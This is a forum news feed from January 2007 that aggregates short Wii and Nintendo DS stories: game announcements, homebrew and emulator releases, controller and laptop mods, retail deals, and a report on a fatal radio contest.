The screens showcase the eight-player action (eight!) that looks crazy fun, though we're not quite sure how Bust-a-Move Bash! will manage eight players at a time. Simultaneous usage of the Wii-mote, GameCube and Classic controllers? Or perhaps four Nunchuk-and-Remote combos, with one person on each element? How about this - we'll get to the bottom of that one, and you just worry about how to fit eight people in front of your television. Deal?
Screens Here
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January 18th, 2007, 22:37 Posted By: wraggster
via gizmodo
With a simple hack to Orb's streaming software, a Swedish Wii owner made his iTunes stream music and photos directly to his Wii.
Thanks to Orb's acceptance of third-party addons, they've accepted this as an official feature. All you have to do is download Orb to your Windows-based PC and you're set. At our count, this is the first of the three consoles to be able to stream DRM-protected iTunes music from your PC.
More Info
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January 18th, 2007, 22:41 Posted By: wraggster
via kotaku
The Official US PlayStation site often showcases the latest games for the PS2, PS3, and PSP. Now they seem to be branching out a bit, if the description of Metal Slug Anthology is any indication.
It's not technically an error. I mean, it is the greatest array of Metal Slug titles ever assembled for the Wii after all. Probably not a good idea to remind customers that the game is already available on a major competitor's system, but who am I to question Sony's marketing tactics?
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January 18th, 2007, 22:44 Posted By: wraggster
via kotaku
Well this is a relief. Pirate Battle is a little game that, ever-so-quietly, became the DS title I craved above all others last year. Seriously. Think Fire Emblem and Advance Wars. But with pirates. I know. Awesome.
But last year the game, for want of a better pun, sunk without a trace. No news, no new screenshots, no trailers, nothing. I even contacted them begging, pleading for confirmation the game was still on-track. But nothing.
Guess I didn't say the magic word, because Go Nintendo have been assured by developers Orbital Media that the game is still on-track. The GBA version (which was due to launch alongside the DS version...no, I don't see the point either) has walked the plank (ANOTHER PUN), but the DS one is still alive and kicking, and Orbital Media are even promising the game will appear on "another" system. Good news all round, then.
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January 18th, 2007, 22:48 Posted By: wraggster
via joystiq
No doubt inspired by mega-popular Phoenix Wright personalizer Objection!, the folks over at PhantomHourglass.org have put together a little Flash application that lets you create your own "You got an item" scene from The Legend of Zelda (or Link to the Past). Not only can you personalize what the old man tells you, but you can also change the item Link picks up from a boring old sword to any 35 x 35 pixel image (might we suggest this charming Joystiq logo).
Despite the crack about free time in the image above, we can't get enough of these little, customizable internet time wasters. The first flash coder out there to make an "Our princess is in another castle" version of this will have our eternal gratitude. And no, this doesn't count.
More INfo
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January 18th, 2007, 23:18 Posted By: wraggster
Sir crx has posted a great little Wii Controller mod which features an ipod battery and a USB Lead:
Rechargeable battery, via ipod battery.
Added Power Button Light
Charge via USB through stock Wii Dongle.
There is more i am leaving out. Right towards me putting it all back together, I can name about 5 things that went terribly wrong. So this is now dubbed my "Version.0". I don't like how it turned out internally and some scuffs/burns externally.
Screens Via Comments
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January 18th, 2007, 23:20 Posted By: wraggster
via aussienintendo
Late last year, Ubisoft's Paris studio, the team behind Red Steel, advertised the position of a Senior Game Designer for "the continuation of the Red Steel project" on their website.
If that wasn't a good enough confirmation that a sequel is in the works, then today's revelation on the Official Red Steel Enthusiast Community website should be convincing.
The Ubisoft-owned site's administrator, the 'Sensei', writes in the final post before the site's closure, "...if any student think he anywhere near ready for Red Steel 2...Get Ready to Do My Laundry!"
It's only a matter of time before Ubisoft officially announces the project, so be sure to stick by for more.
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January 18th, 2007, 23:21 Posted By: wraggster
via gonintendo
Okay guys, here’s your big story to discuss as I head to bed. The latest issue of Nintendo Dream states that the sequel to a famous series is going to be announced soon. I picked the story up from Gamefront, which has it listed in their Wii section. The magazine gives absolutely no info on what the game may be. Hell, the game might not even be from Nintendo for all we know (but I’ll bet that it is). I’ll take a few guesses before I leave the fun to you guys.
Pikmin
Nintendogs
Kid Icarus
Startropics
UPDATE - Thought I would add the Google translation for you guys.
Nintendo Dream: “Successor of famous series is soon revealed” 18.01.07 - Japanese Nintendo Dream it announces in its newest expenditure that soon the successor of a famous series is revealed. With details the magazine holds back itself.
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January 18th, 2007, 23:24 Posted By: wraggster
via infendo
The February issue of EGM critiques Wii's virtually non-existent online play. Though I'm reserving final judgment until we see online multiplayer, I feel that online play isn't a priority for Nintendo. From the article (issue 212): "The Wii's unified friend code system initially seemed like an upgrade to the DS's daft online plan, but it's actually just more of the same nonsense. Once again, each game requires its own separate friend code list...so get ready to input lots of 14-digit codes. Seriously, designing your entire online strategy around preventing child predators simply isn't a good idea."
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January 18th, 2007, 23:26 Posted By: wraggster
A new release of WiiCR has happenned today, heres the info and whats new:
WiiCR is a media player solution for the Nintendo Wii. It acts as a streaming media server and is capable of transcoding nearly any video file to a suitable flv for an embedded flash player. It allows browsing of the remote filesystem to view: videos (avi/xvid/divx/mpeg/wmv/etc), text files, jpg's and play mp3s.
0.3.1.4b released
included suba theme (dont know how I missed it)
updated suba theme to suport new config
included Wiipaper 0.4r.1
Included WiinVi 0.5-r2
fixed shoutcast & config.pl forms (thanks neil for picking me up on my bad html
Download Here --> http://wmc.sourceforge.net/wiki/index.php/WiiCR
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January 19th, 2007, 00:19 Posted By: wraggster
MoonShell is a multimedia player for Nintendo DS (Lite) consoles. It has support for DPG video files, MP3/NSF audio files and viewing JPG/Jpeg/BMP/PNG (non progressive) files, it also has support for TXT textfiles. MoonShell supports dualscreens and it has full support for the touch screen. MoonShell has plug-in system that allows to add any compatible plug-in just by copying the plug-in files to the appropriate folder. MoonShell also comes with several kind of useful plug-ins.
Heres whats new:
-I think that I exterminated the bookmark bug.
'TopScreenFlip' and the NDSROMPlugin section were deleted from moonshl_simple.ini.
'NDSLiteDefaultBrightness', the BacklightTimeout section, and the ImagePlugin section were added to moonshl_simple.ini.
Enabled interpolation processing ratio is '31%, 37%, 43%, 62%, 75%, 87%, 125% and over'. Ignored '25%, 50%, 100%'.
The maximum value at 'BacklightTimeout' was changed at 999 seconds.
The same name as DPG file. '.bmp/.jpg/.png' file was found. CreateThumbnail.exe makes the thumbnail.
'Change backlight bright' was added to the system menu.
The DLDI driver for SCLT was testing added.
The text scroll lines count can be specified with the manual.
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January 19th, 2007, 00:29 Posted By: wraggster
New release of PALib from Mollusk
It's been a while since I hadn't updated PAlib
I attached to the message the changelog since the latest official release, lots of stuff !
Please backup your PAlib directory and projects, erase and do a perfectly clean install...
You'll also need to update your project makefiles, just take any makefile (PAlibExamples or Template).
The doc hasn't been updated yet because I still don't have a working copy of Doxygen on my computer, but the new functions have been documented in PAlib so as soon as I reinstall the right version I'll update the whole thing...
This version DOES NOT contain the FATlib, still waiting for the ne< devkitpro release... It is easy to add it manually to any project...
It is highly untested, some of the changes have been done a few weeks ago so I might have broken stuff and not seen it
Installer, Zip, and 7z are downloadable here : http://palib.info/forum/modules/PDdo...wcat.php?cid=3
Here's the changelog since the last beta :
Quote:
New Stuff
---------
[RotMaps] Added PA_SetRotMapTile(u8 screen, u8 bg_select, s16 x, s16 y, u8 tile_number) and PA_GetRotMapTile(u8 screen, u8 bg_select, s16 x, s16 y), using gmiller's code...
[CustomFonts] Added PA_16cCustomFont(slot, fontname) and PA_8bitCustomFont(slot, fontname) and the examples to go with it... Wiki will be updated soon with the instructions. Requires the latest PAGfx version... PAGfx has been updated too, to do the conversion...
[DSMotion] Official DSMotion code added !!! Check the Input examples to see how it works (init/getting the data). Has 2 different ways of playing with it : either get the raw values and use that, or transform the data into Pad.Held.Up/etc data
[DSMotion] Added MotionDraw, a simple demo...
[Keyboard] Added PA_InitCustomKeyboard(bg_number, keyb_custom) to load custom keyboards (use instead of PA_InitKeyboard), and the example to go with it... Custom keyboards are 256 colors and should be converted as EasyBg...
Updated Stuff
-------------
[Gif] Added PA_LoadGifXY, to load gifs to a specific part of the screen . Updated the gif examples to work with it...
[GetSpritePixel] Added PA_GetSprite16cPixel, for 16 color sprites, and an example to go with it...
[Makefile] Makefiles updated, please copy one of the example/template makefiles and paste in your project. Includes the sound padding correction and includes the libwifi
Things Fixed
------------
[Warnings] Fixed the FD_SETSIZE warnings
[TextColors] TEXT_BLUE and TEXT_GREEN were inverted
[Reco] Fixed upper screen mess-up when using the recognition system
[SpriteAnims] Fixed first frame not showing when starting a new animation...
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January 19th, 2007, 00:36 Posted By: wraggster
News/release from Davr
The DS Motion Card is a motion sensor addon for the Nintendo DS. It contains a 3-axis accelerometer, as well as a 1-axis gyro sensor. The creator was kind enough to send me one, so that I could play with it and make stuff for it to help him promote it.
Anyway, so far I have made a simple marble demo, tip your DS and marbles roll around. Currently it's very simple, no collision detection or anything. I'm probably going to make a game out of it, simulating those little keychain toys where you have a few marbles, and you have to get them all into their respective holes.
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January 19th, 2007, 00:38 Posted By: wraggster
via dsfanboy
What's this -- a list? Cue the frothing fanboys! But this latest list of the top ten worst DS games, as decided by the folks at Pocket Gamer, is definitely filled with some of the poorest examples of DS gaming. We're not sure if they're really the ten worst ever, though. Let's call them the "Ten Worst Titles Masquerading as Games You Might Almost Want to Play." Well, except for Lego Star Wars II: The Original Trilogy. We actually did want to play that, but y'know, we need it to function.
Pocket Gamer's 10 Worst DS Games
ATV Quad Frenzy
Burnout Legends
Guilty Gear Dust Strikers
King Kong
Lego Star Wars II: The Original Trilogy
Rainbow Islands Revolution
Space Invaders Revolution
Superman Returns
Tamagotchi Connection Corner Shop
Tomb Raider: Legend DS
So do you agree or does this make you want to call shenanigans? What game would you nominate that isn't represented here?
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January 19th, 2007, 00:41 Posted By: wraggster
Via gaming age
Since the DS Lite launched in America, various message board denziens have been complaining that their touch screen carries a darker, more yellow tint, than the top screen. I, and many others, initially wrote it off as folks being overly sensitive, the effect likely a result of a coating on the touch screen or some such. I mean, my touch screen was a bit darker than the the top screen, but I barely noticed, nor did it bug me, I just assumed all DS Lites were that way.
That is, until my girlfiend went out and bought herself one. Comparing our two systems, I discovered that slight tint of my touch screen was mysteriously absent on hers. The whites of the top and bottom screen seemed to match on hers, but on mine, the bright top whites appeared almost grey on the lower screen.
And that's when the tint started to bug me. Luckily, it's not all that prevalent, the difference is only noticeable on light backgrounds, like the bootup warning screen, Brain Age, and Big Brain Academy. Colorful titles, like Meteos and New Super Mario Brothers, curiously aren't affected. It's easy to tell which system is whose when they're at the warning screen, regardless of the brightness setting, but when placed side-by-side while both running Mario, neither of us could tell the difference. In fact, during the Mario comparision, she incorrectly guessed that my Lite was hers.
For the skeptical, here's some a picture to highlight the difference among the two. Be forwarned, the difference isn't all that noticeable on LCD monitors due to their inherent brightness, but those on CRT monitors should be able to clearly identify which DS is which.
Though both DS Lites are on the third brightness setting, there's a definite difference between the two.
The Lites have been swapped with this juxtapose, made from the first picture. The tinted screen is now placed on the right to emphasize the difference -- Ignore the differing shades of the bottom line, as that line flashes to garner attention. I don't think it has anything to do with angle or lighting, as the tint is pretty uniform, not to mention that the top screens match up pretty well and don't suffer from the same problem. If anything, the top screen on the right is a bit brighter....
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January 19th, 2007, 00:44 Posted By: wraggster
via dsfanboy
With the latest Japanese commercial for the game sending chills down our spine, this latest video of the opening intro to the game physically removes our spine, shakes it and stuffs it back into our body with such a force as to shake the very core of the Earth. In other words, we want us some Hotel Dusk!
Video Here
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January 19th, 2007, 00:47 Posted By: wraggster
via siliconera
After pushing through a couple of floors on both the SNK and Capcom sides of the tower (yeah they’re separated) I’ve found out that SNK vs. Capcom Card Fighters DS is a pretty big mess. The problem is the inherent system is completely broken and the computer doesn’t use any different tactics besides attacking. There are lots of different abilities you can use in the game like reshuffling your deck, healing your cards, tapping cards for extra colored “force” energy and doing counter attacks. The computer doesn’t do any of these halfway through the game. Instead the AI only has one strategy attack and leave some of the cards free to block with. That’s a problem, but it gets worse.
At the beginning of every round dice are rolled to see who gets first act. If you win the roll you can put your attacking cards on the board, they’re frozen for a round while your opponent puts his/her cards on the board. Here’s the problem, after your opponent lays their cards on the board they are still frozen when it’s your turn. You have one round to attack them free of any obstructions. This leads to a simple, yet boring strategy, putting out a bunch of weak cards that use one force each. If you can put out five cards that give 400 BP of damage you can win a fight in a single round. This isn’t too difficult to do once you start collecting Axl (Mega Man X7), Adon and Poison (Final Fight) cards you’ll have a nearly invincible deck.
There’s still time for SNK Playmore USA to fix this problem, by adjusting the game’s balance. Hopefully they will make some changes. On the plus side there is one neat touch screen feature. When you buy cards they appear wrapped on the touch screen. You can use your pen to draw a line across the top of the pack, which rips it open.
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January 19th, 2007, 00:56 Posted By: wraggster
Smealums FPS game is now an online game for the Nintendo DS:
Heres the google translation of whats new:
Play with 4 (and theoretically possibility of playing until an unlimited number by changing a simple variable, by holding biensur account of the limits 3D and network of the console…)Addition of an indicator of its life on the screen of bottomAddition of an indicator of the life of the enemies on the screen of bottom (mainly for débugger…)Addition of a small red trick when one is made draw above (yes, it is ugly and the colors are bad, but the 256 colors under Paint…)
Note: The deceleration of the animation of pump rifle is completely wanted, it is not a side effect of the use of more than polygons…
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January 19th, 2007, 01:00 Posted By: wraggster
A new test release of the Command And Conquer DS Clone Project has been released and also a fair bit of WIP news:
Worked on the game a bit last night with the current goal of being able to build units. I reinstalled C&C on my machine to play the first few missions to keep it fresh in my mind how C&C does it, which was a fun bit of research ;p To start with I’m implementing the tech tree system I wrote a while ago, with a couple of updates. Its looking like the system will work great and I’ll explain how it works in more detail in another post.
I let some buildings be factories and state which unit class they can build (a factory can only build one class of units, but a unit can belong to multiple classes). The next job is to write a system that will efficiently keep track of an armies available build list and which factory will produce which units (including which factory is set to Primary for that unit class). The build list needs to be aware of which technologies an army has unlocked and which factories are available to build the different unit classes. These lists will be updated each time a building is created/destroyed or captured. Oh I also need to add the code to unlock a technology when a building is created. This is about a third completed. Finally when I was working on the buildings I updated the ‘footprint code so that areas of the building can be walked over, e.g. the dusty patch at the front of almost all C&C buildings.
Phew, I think that’s everything! Once I’ve got unit building done it’ll be attacking next, that’s when things will get fun
Heres the newspost with the test release:
I’ve got a new ROM to be tested featuring the first game code. This was created on a new install of windows however and I had some issues setting the environment up again and I couldn’t get this working on my DS. Hopefully everyone else will have better luck, though I’ve included the PC build as well so you can see what it’s supposed to be doing.
The test includes all the tests from the last release, but has a new one at the bottom, ‘Test F (Game)’. Choosing this you’ll be shown an abstract view of the game world featuring some terrain, two units and a building.
The green tiles show grass, black for cliffs and brown for road. The clump of red blocks is a building for the Red army and the two single blocks are units.
The selection cursor can be moved around with the D-Pad/arrow keys. Use A on a DS or X on the PC to command a unit to move. There is no attacking yet. Use B on the DS or Z on the PC to select the unit under the selection cursor. You can select units from any army right now.
The debug menu lets you do some more stuff:
Game/Path/Draw toggles the pathfinding route being drawn
Game/Path/Heuristic changes the pathfinding heuristic
Game/Path/Method changes the pathfinding cost method
Game/Army/GiveFunds gives 100 bucks each time its activated
Game/cellsize changes the size of the tiles drawn
Game/debuginfo toggles the info written on the right side of the screen
Use the escape button to quit the PC build. I’m interested in hearing any feedback people have about the test but more interested if anyone can get it working on their DS!
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January 19th, 2007, 01:05 Posted By: wraggster
New adult themed game for the Nintendo DS from XParano:
Heres the rather rubbish google translation:
Everyone connait hones it paper chisel… Who thought of making a version “Strip of it”? Only a spirit the most perverted of could think of it. It is my first development on DS, are lenient, I especially sought to use the basic bases of the base of PALIB (the wiki is very well foutu nevertheless, cheer). Nevertheless, this play will amuse you 3minutes, i.e. much less time than I did not need to do it
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January 19th, 2007, 01:12 Posted By: wraggster
News from Mollusk
Ok, as Keith was kind enough to send me a sample, I added the DSMotion code to PAlib (or rather, 'a la PAlib'), as you may have seen in the latest beta...
Then, I ported 2 games and did a quick drawing demo :
DoubleSkill is the DoubleSkill game that probably not many people heard of Kind of a brain destroyer, but you should really get your hands on it if you have a DS Motion...
DoubleSkillMotion Rom
Carre Rouge is a classic, plays pretty weirdly at first with the motion sensor, but is actually quite challening and intesting...
CarreRougeMotion Rom
And the last one is a draw demo, nothing much to say about it :
Motion Draw
New version, with progressive speed of drawing
Motion Draw2
Edit : fixed links...
Edit 2 : added MotionDraw2, with progressive speed
Edit 3 : Circular Defense Motion
Circular Defense Motion Rom
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January 19th, 2007, 01:23 Posted By: wraggster
via ign
The Entertainment Software Ratings Board (ESRB), which evaluates soon-to-be-released software and rates it for age appropriate content, recently added two new titles to its online website. According to the organization, publisher Hudson Entertainment has submitted both Wing Island and Kororinpa for ratings approval, a very strong indicator that the Wii games are not far off from an American retail release.
Wing Island received an E for Everyone rating due to its cartoon violence and Kororinpa was given a similar E rating with no descriptors.
Wing Island is a Pilot Wings-style flight game in which players control bi-planes and other aircraft over simplistic terrain, performing stunts and collecting items. The title utilizes the Wii remote for added maneuverability and precision steering. Gamers simply hold the remote on its side in classic form and twist and turn to send planes diving and looping.
Kororinpa is a unique effort that seems inspired by both the Marble Madness and Super Monkey Ball franchises. Gamers roll balls over hovering maze-like boards in an attempt to navigate through a wide arsenal of 3D obstacles and puzzles. The import version of the game has captivated a handful of IGN's editors.
Both titles are expected to debut in the US before the end of March.
When contacted, representatives for Hudson would only say that the publisher has not officially announced any plans to release the games stateside yet.
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January 19th, 2007, 01:25 Posted By: wraggster
Via ign
Tiger and the Wiimote have something in common, and it's not that whiny little kids push their buttons. They were both born to golf.
While golf is nothing new to the console, Wii Sports and Super Swing Golf are not going to satisfy true golf fans longing to grip and rip the Wiimote on The Old Course at St. Andrews. Only Tiger Woods PGA Tour 07 can do that.
At Electronic Arts in Redwood Shores, Calif. on Tuesday, we had a chance to sit down (or is it stand up?) with the first installment of Tiger Wii, currently slated for a March release. While we've played our fair share of golf games with newfangled control schemes (ProStroke Golf and Real World Golf, to name a few), we've always wanted to see how a Tiger game would turn out with a new control setup. As fun as those other games are, where else can you play as John Daly and, bless her heart, Annika Sorenstam?
It's all in the hips. It's all in the hips.
Thankfully, Tiger is as fun as ever on the Wii and even more accessible. Want to see for yourself? Click on the media links below for new gameplay footage and screens.
The swing tracking is very accurate for drives and approach shots, and I found myself interlocking my fingers on the Wiimote, trying to get a traditional golf grip. Here's how the controls break down:
To swing, hold down B and make a golf swing. It's that simple. Like in other versions of Tiger, if you don't take the club back all the way, you will have less power on your shot. Unlike in other version, power is controlled by the speed of your downswing. The faster you swing, the farther it goes. Of course, if you push your downswing left or right, you're very likely to dig your Nike ball out of the bushes.
Once the ball is in the air, you induce spin by tapping the D-pad and shaking the Wiimote. The wrist strap is recommended here. To fade or draw the ball, you simply open or close the club face, respectively. Since the club face is really the Wiimote, you rotate it so the A button is facing the screen or facing away from the screen. Then take a natural swing and admire your physics-defying spin.
Full article at link above
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January 19th, 2007, 01:26 Posted By: wraggster
via dsfanboy
With the DS clearly cemented as Japan's favorite game system, you knew the RPG and anime games were on the way. And with Deltora Quest, we're getting a bit of both. Set to be published by Bandai Namco in Japan, the Australian manga/anime/novel by the same name is on the way to the DS in the form of a 2D action RPG.
In Deltora Quest, you play as three characters, whom you're free to switch between at any time. The game's storyline begins when 7 precious gems are stolen, bringing the world under the control of a shadow king. The three characters, Lief, Jasmine and Barda head off to the 7 towers where the gems are apparently being hidden.
The game uses the stylus for all control. You use the stylus to move your character around and can perform dash and tackle moves. To attack enemies, you simply point to the enemy, and your character automatically moves in to attack using a variety of moves. Your attacks include combos and special moves, all character dependent.
Deltora Quest will likely get attention based off its license, as the series is popular in Japan. Bandai Namco isn't just making a quick cash-in. The game has some big talent behind it, including artwork by Yocky, and scenario work by Kazushige Nojima. Sound is being handled by Hitoshi Sakimoto, known for his work on Final Fantasy XII.
A Japanese release is set for Spring.
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January 19th, 2007, 05:06 Posted By: ICE
Last March, EA released what it had hoped would be its answer to the open world genre dominated by Grand Theft Auto. It featured some interesting new ideas like the ability to take over fronts and build up your empire, along with of course a very strong storyline taken straight from the films. It wasn't perfect, but EA wasn't finished. With the Xbox 360 release half a year later, the next-gen version of The Godfather saw the addition of new content, online rankings, new abilities and more, making it something of an expanded edition of the original release.
The game is now headed to the PlayStation 3 and Wii by the names of The Godfather: The Don's Edition and The Godfather: Blackhand Edition, respectively. The two games will be identical content-wise aside from the PlayStation 3 version's online leaderboard rankings, the same that we saw on the 360. Other than the differing control mechanisms, the two versions will feature the same new additions over the 360 version, making these the biggest Godfather releases yet.
The Blackhand Edition for the Wii will make full use of the Wiimote and Nunchuck for many of the game's actions. If someone is on their knees, you just pull the controllers in an upwards manner to lift them off the ground. Moving the controllers from side to side will yank them around, and pushing them forward and then releasing the grab buttons will shove them away. Fighting is handled similarly to what we've seen in Wii Sports Boxing - if you want to throw a hook, you actually throw one and your onscreen persona will land a vicious punch.
Execution moves are done via performing gestures. If you have a bat in your hand, you can sneak up behind someone and pull both controllers towards you and your character will strangle the guy with the blunt weapon. Pushing the controllers forward while wielding a shotgun will toss the guy to the ground and then blow his head off. Similarly, if you move your hands from your sides to meet together out in front of you, you'll strangle someone with your bare hands.
Driving and general movement will default to being controlled via the Nunchuck's analog stick, with camera movement assigned to the D-pad on the Wiimote. In this setup, aiming will still be done via a lock-on system with the Wiimote used to dial in pressure point shots to the knees, arms or what have you. Alternatively, you can switch to a free-aiming mode where all of your aiming and steering will be done with the Wiimote.
EA looks to have not only added some new features to The Godfather for these releases, but tweaked some old mechanics as well for easier play. For example, while you're still able to cycle through weapons one-by-one, a quick-select wheel has been implemented that works something like what you'd find in Ratchet & Clank.or Trauma Center. As well, the skill tree has been expanded a great deal to encompass Enforcer and Operator branches. Essentially, these give you more control over various upgrades to your character while also providing more specific bonuses, like the ability to heal faster or call in a hit squad faster.
Speaking of the hit squad, that's one of the cooler new elements that we saw on display. While you're still able to hire someone to stick with you on a mission, you're now able to call in the Corleone hit squad, a group of four men that come to your assistance and lay waste to anyone around you. They'll stick with you for a while, allowing you to take a small army into a mission to take down a rival family.
Similarly, the cops can now also fight for you. You can bribe them in the same way that you could before, where they'll look the other way while you take over an establishment, but you can now pay the entire police force to take to the streets and help you take out a rival family. Combined with the hit squad, you're able to take exponentially more help with you on a mission than before.
A series of new environments will also make their way into the game. Rooftop areas will now be rather common, with plenty of shootouts taking place high above the city. A couple new transportation hubs will find their way into the games as well, namely a train station and a shipyard. Taking these over will earn you a lot more loot than a barber shop or something similar, making them prime targets on your way to the top.
Lastly, the variety in The Godfather has been greatly expanded for the Wii and PS3 versions of the game. Each family will now have their own unique compound, unlike before where they were essentially copies of each other. More pedestrians and vehicles will fill the roads and sidewalks in the game, and more unique models for each will help spice things up. Oh, and speaking of cars, you'll now be able to take them and their passengers out with the new car bombs, one of the unlockable skills you can earn. Cool stuff.
The Godfather: The Don's Edition and The Godfather: Blackhand Edition are set to make their debut on March 20th.
via:IGN
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January 19th, 2007, 05:08 Posted By: ICE
According to the Entertainment Software Rating Board, developer Ubisoft is set to bring its open-world car game, Driver: Parallel Lines, to Wii. The game recently popped up on the ESRB's official website, an unofficial, but reliable confirmation that it's coming.
Driver: Parallel Lines, is sure to be an enhanced port of the already-released PlayStation 2 and Xbox games of the same name, which received "decent" 7.2 ratings by our IGN sister sites. In the title, gamers speed through city streets and go it on foot to accomplish a series of missions. The game's quasi-sandbox presentation is much more reminiscent of the Grand Theft Auto franchise than it has been in previous Driver outings. Obviously, the Wii build of the game will undoubtedly feature new, remote-specific controls.
We contacted Ubisoft for comment, but a representative for the company had none. We expect to learn much more about the Wii version of the title in the coming weeks, though, so stay tuned.
via:IGN
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January 19th, 2007, 16:40 Posted By: wraggster
via cvg
Only two games are available for the European Virtual Console arm of the Wii Shop today, but when those titles are Street Fighter II: The World Warrior and Super Probotector: Aliens Rebels you can't complain.
Street Fighter needs no intro, but for those of you who haven't heard of Super Probotector (also known as Contra 3: The Alien Wars in the US) it's a fantastic, ultra-challenging 2D platform shooter with some of the most jaw-dropping, screen-filling bosses you've ever seen. It's also one of our all-time favourite Super NES games.
Both of these classics will set you back 800 Wii Points each (roughly £5), as do all Super NES games. Enjoy.
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January 19th, 2007, 16:54 Posted By: wraggster
Bionicle Heroes, the Lego-based action game from Lego Star Wars developer Traveller's Tales, is heading to Nintendo's Wii this spring, complete with Wii-mote capability - and we've got the first screens for your eyes to look at. Hit the images tab above for more shots.
Based around the Bionicle toy universe, you'll be battling laser-spitting Piraka across Voya Nui island in search of the Mask of Life. But you already knew that. Aimed proudly at Lego-loving urchins, the Wii edition will share a similar gameplay style to the Xbox 360 version we recently got our hands on. The game should launch around Easter.
Screens Here
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January 19th, 2007, 17:00 Posted By: wraggster
via kotaku
Ah, New Zealand. Kiwi fruit, Peter Jackson and, above, rugby. Pencil in "Sony-lovers" for another thing the island nation is famous for. Last November and December, Sony moved 21,800 PS2s units, which accounts for 70 percent of the consoles sold. Says Sony Computer Entertainment New Zealand's Warwick Light (killer name!):
It is no surprise to us that PlayStation 2 was the number one selling gaming platform for Christmas. As the PlayStation 2 offering goes from strength to strength, more consumers are buying into the value proposition of the hardware and the unrivalled range of software on offer. Consumers obviously saw exceptional value in PlayStation 2.
Okay. That's not such a big deal. The PS2 is and has been a big seller. But what is interesting is that the PSP sold 9,560 units and captured 73 percent of the handheld market during November and December 2006. Wow, what the DS is to Japan, the PSP is to New Zealand.
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January 19th, 2007, 17:08 Posted By: wraggster
New from SuccessHK
Product Features of Nintendo DS Hori NDS Lite Silicon Cover - Pink
Protect your DS Lite from minor bumps, drops or scratches.
Made of durable and flexible silicon
Fit cutting and easy installation
Light, soft, and stylish
More Description of Nintendo DS Hori NDS Lite Silicon Cover - Pink
Hori NDS Lite Silicon cover provides excellent protection to your NDS Lite console from fingerprints, scratches and other damages. The fitting design also allows using every original function of the console directly and brings your console an impressive looking.
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January 19th, 2007, 17:16 Posted By: wraggster
via wiipcscripts
A new script World of Warcraft ! This script can use the nunchuk and wiimote cross !
Download : Here
Inscructions :
Motion of the wiimote : Move the mouse
Wiimote B : Left button of the mouse
Wiimote A : Right button of the mouse
Nunchuk or wiimote cross : Move the caracter
Shake the wiimote : Attack 2 ( keybard : 2 )
Wiimote Home : Attack 3 ( keybard : 3 )
Wiimote 1 : Attack 4 ( keybard : 4 )
Wiimote 2 : Attack 5 ( keybard : 5 )
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January 19th, 2007, 17:22 Posted By: wraggster
Archeide has released a test build of the Snes emulator for the Nintendo DS, heres the full info:
I’m sorry to see that the compatibility of the DLDI version is far from what i expected …
Some have experienced problems they didn’t have with the regular version.
I tried to fix some bugs in a test release. There are two differences with the release version :
ROMs are read from the root directory (some drivers seem to have problem with paths).
The FAT init loop has been removed (for some drivers the FAT_init functions return false whereas it has initialized correctly).
This should improve compatibility. At least it has solved problems with GBAMP CF and R4.
You have to patch it with your own patch.
Instructions are here:
http://chishm.drunkencoders.com/DLDI/index.html
Don’t forget that games have to be put in the root directory not in the SNES directory…
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January 19th, 2007, 19:33 Posted By: wraggster
via engadget
It's the Wii laptop! We spent the last few weeks (including much time spent over the holidays evading relatives) slaving over this bad boy and finally it's complete. Check out the features:
16:9 widescreen LCD, 7-inch diagonal.
Stereo sound
Gamecube controller port
Built-in short range Sensor Bar
Ports for using original Sensor Bar and A/V output jacks (for use on external display)
Built-in power supply and compartment for power cord
Dimensions: 8.5 x 7.7 x 2-inches
Starting next Tuesday we'll be doing a multi-part How-To with detailed instructions for building your own Wii laptop, as well as loads of photos of the construction process.
Download video
MP4 (H.264) - VGA, QVGA
Screenshots Via Comments
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January 19th, 2007, 19:42 Posted By: wraggster
Circuit City are doing coupons for $40 off this weekend and also have a plentiful supply of Nintendo Wii Consoles.
For those that live near one heres the coupon page
Using the coupon will enable you get the Wii for $209
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January 19th, 2007, 19:57 Posted By: wraggster
Got a load of screenshots of the game Inuyasha: Secret of the Divine Jewel
Check em out via comments
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January 19th, 2007, 20:05 Posted By: wraggster
via wiifanboy
According to the latest news in the horrible tragedy that saw one woman trying to win a Wii die from chugging H20, after several from the station were fired, word comes in that, during the contest, the on-air personalities stated they knew that it was dangerous. After a listener called in to warn them, one of the DJs commented "Yeah, we're aware of that," being backed up by his on-air co-pilot who said "they signed releases, so we're not responsible. We're OK." What's even worse is that during the show, the DJs even commented on a similar case that ended in death for a college student.
As of now, the family of Jennifer Lea Strange are planning on filing a wrongful death suit against radio station 107.9 KDND-FM.
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January 19th, 2007, 20:15 Posted By: wraggster
Another update from the CnC DS project
The building lists for units and now being created and cached ok. I’ve added a couple of debug controls to navigate the list for now using the shoulder buttons. When I’m using the abstract renderer for the game I won’t be using any touchscreen control, just D-Pad and buttons. I’ll use something like the Y button to initiate a build. It currently knows which ‘factory’ is the primary so it knows where the unit should come out but there’s no build queue system yet. The build queue will be set to one deep for C&C by default which didn’t have build queues, but it can be set higher for other RTS styles. This will be one of the optional features for playing C&C, so you can play it ‘classic’ style or with features like this turned on.
The build list for buildings will be next which should be quite straight forward - if an army has a construction yard then they can build anything they have the technology for. Building placement will probably take a little longer but won’t be too hard. At the moment it will really mess up any moving units whose path went through the space a building has just been built in. The path finding right now really is very rough but functional, but working on that is further down the line.
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January 19th, 2007, 20:20 Posted By: wraggster
New from Mollusk
Added another game : Mental Pong. Basically, the commands change every 10 points, good luck
If you don't have a DS Motion, it goes into stylus mode
Download and Give Feedback Via Comments
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January 19th, 2007, 20:33 Posted By: wraggster
via ign
Hot on the heels of criticism over the Wii's software price-point, Warioware: Smooth Moves will retail for AU$79.95 when it goes on sale on January 25. And, according to Nintendo Australia's PR honcho, Vispi Bhopti, this is just the start.
Vispi explains, "With the Wii and DS, we're examining the audience demographics to figure out the best price-point with which to expand the market. We did that with our Touch Generations! games, and we're going to be doing the same in the future with some Wii titles."
These titles include the upcoming ball-rolling platform puzzler, Kororinpa, which is scheduled to retail at AU$79.95, as will Wing Island and one other. However, Excite Truck, which is out on February 22, will sell for $99.95.
This admission should go some way towards satisying the raging undercurrent of Nintendo fanboys Australia-wide. Hopefully, this might even spur some third parties to lower their prices, too.
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January 19th, 2007, 20:34 Posted By: wraggster
via ign
Nintendo Australia are finally allowing DS owners to hop online with their dedicated browser. For DS Lite owners, the Opera-based browser card should be down at your local games retailer by the time you read this. For owners of the original, chunky DS, you'll need to contact Nintendo directly.
